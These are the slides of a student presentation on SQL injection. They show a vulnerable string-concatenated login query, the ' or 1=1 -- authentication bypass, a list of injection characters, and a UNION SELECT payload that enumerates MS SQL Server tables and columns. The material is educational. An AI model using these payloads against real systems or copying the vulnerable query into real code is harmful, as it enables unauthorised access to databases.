Ppt on sql injection

SQL INJECTION
SUBMITTED TO:- SUBMITTED BY :-
MR. NAVEEN KEDIA ASHISH KUMAR
FINAL YEAR I.T.

INDEX
 Ethical Hacking.
 What is SQL.
 How does SQL Injection work.
 Example of SQL Injection.
 Diagram of SQL Injection.

ETHICAL HACKING
 Independent computer security Professionals breaking
into the computer systems.
 Neither damage the target systems nor steal information.
 Evaluate target systems security and report back to
owners about the Bugs found.

ETHICAL HACKERS BUT NOT CRIMINAL
HACKERS
 Completely trustworthy.
 Strong programming and computer networking skills.
 Learn about the system and trying to find its weaknesses.
 Techniques of Criminal hackers-Detection-Prevention.
 Tester only reports findings, does not solve problems.

WHAT IS SQL?
 SQL stands for Structured Query Language
 Allows us to access a database
 ANSI and ISO standard computer language
 The most current standard is SQL99
 SQL can:
 execute queries against a database
 retrieve data from a database
 insert new records in a database
 delete records from a database
 update records in a database

WHAT IS A SQL INJECTION ATTACK?
 Many web applications take user input from a form
 Often this user input is used literally in the construction
of a SQL query submitted to a database. For example:
 SELECT productdata FROM table WHERE productname =
‘user input product name’;
 A SQL injection attack involves placing SQL statements
in the user input

HOW DOES SQL INJECTION WORK?
Common vulnerable login query
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'";

INJECTING THROUGH STRINGS
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'

SQL INJECTION CHARACTERS
 ' or "character String Indicators
 -- or # single-line commen
 /*…*/ multiple-line comment
 + addition, concatenate (or space in url)
 || (double pipe) concatenate
 % wildcard attribute indicator

ALL TABLES AND COLUMNS IN ONE QUERY
 union select 0, sysobjects.name + ': ' + syscolumns.name
+ ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from
sysobjects, syscolumns, systypes where sysobjects.xtype
= 'U' AND sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --

LINKS
 A lot of SQL Injection related papers
 http://www.nextgenss.com/papers.htm
 http://www.spidynamics.com/support/whitepapers/
 http://www.appsecinc.com/techdocs/whitepapers.html
 http://www.atstake.com/research/advisories
 Other resources
 http://www.owasp.org
 http://www.sqlsecurity.com
 http://www.securityfocus.com/infocus/1768

Ppt on sql injection

More Related Content

What's hot (20)

Similar to Ppt on sql injection (20)

Recently uploaded (20)

Ppt on sql injection